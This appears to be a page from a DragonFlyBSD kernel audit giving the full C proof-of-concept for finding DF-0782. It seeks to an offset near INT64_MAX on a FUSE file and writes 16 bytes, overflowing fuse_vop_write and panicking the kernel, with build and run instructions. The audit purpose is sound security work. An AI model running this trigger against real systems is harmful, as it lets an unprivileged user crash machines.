โฌข DragonFlyBSD Kernel Audit
DF-0782 / write_trigger.c
โ† back to finding โ†“ download raw
/*
 * DF-0782 โ€” unprivileged write trigger.
 *
 * Opens a file on a (root-mounted) FUSE filesystem, seeks to an offset
 * near INT64_MAX, and writes a small buffer.  This drives
 * fuse_vop_write() with:
 *
 *     uio->uio_offset = 0x7FFFFFFFFFFFFFF0   (off_t, signed, just below INT64_MAX)
 *     uio->uio_resid  = 16                    (size_t, unsigned)
 *
 * which overflows at fuse_vnops.c:1469 (newsize) and again at :1529
 * (uio->uio_offset + len), reaching fuse_reg_resize(vp, INT64_MIN, 0)
 * and the KKASSERT(newsize >= 0) panic at :1972.
 *
 * Build:  cc -O0 -g -o write_trigger write_trigger.c
 * Run:    ./write_trigger /mnt/fuse/target
 *
 * The trigger itself needs no privilege โ€” any user able to open the file
 * for writing will do.  (Setting up the FUSE mount is root-only, matching
 * the finding's stated preconditions.)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>

/* offset just below INT64_MAX, chosen so offset + 16 == 0x8000000000000000
 * (== INT64_MIN as a signed off_t) โ€” the exact wrap the finding describes. */
#define TRIGGER_OFFSET  ((off_t)0x7FFFFFFFFFFFFFF0LL)
#define TRIGGER_LEN     16

int
main(int argc, char **argv)
{
    const char *path;
    int fd;
    unsigned char buf[TRIGGER_LEN];
    ssize_t w;
    off_t after;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <fuse-file>\n", argv[0]);
        return 2;
    }
    path = argv[1];

    fprintf(stderr, "[trigger] opening %s (O_WRONLY)\n", path);
    fd = open(path, O_WRONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    fprintf(stderr, "[trigger] lseek to 0x%016llx (=%lld)\n",
            (unsigned long long)TRIGGER_OFFSET, (long long)TRIGGER_OFFSET);
    after = lseek(fd, TRIGGER_OFFSET, SEEK_SET);
    if (after < 0) {
        perror("lseek");
        close(fd);
        return 1;
    }
    fprintf(stderr, "[trigger] file offset now 0x%016llx\n",
            (unsigned long long)after);

    memset(buf, 'A', sizeof(buf));
    fprintf(stderr, "[trigger] writing %d bytes -> offset+resid wraps to "
                    "0x8000000000000000 (INT64_MIN)\n", TRIGGER_LEN);
    fprintf(stderr, "[trigger] expect: kernel panic (KKASSERT newsize>=0)\n");

    w = write(fd, buf, sizeof(buf));
    /* If we reach here the kernel survived โ€” on the unpatched kernel the
     * write() never returns (the KKASSERT fires synchronously inside
     * fuse_vop_write -> fuse_reg_resize). */
    fprintf(stderr, "[trigger] write returned %zd (errno=%d %s)\n",
            w, errno, strerror(errno));
    if (w < 0) {
        perror("write");
    } else {
        fprintf(stderr, "[trigger] NOTE: kernel did NOT panic โ€” either fixed "
                        "or the overflow was rejected (EINVAL/EFBIG).\n");
    }
    close(fd);
    return 0;
}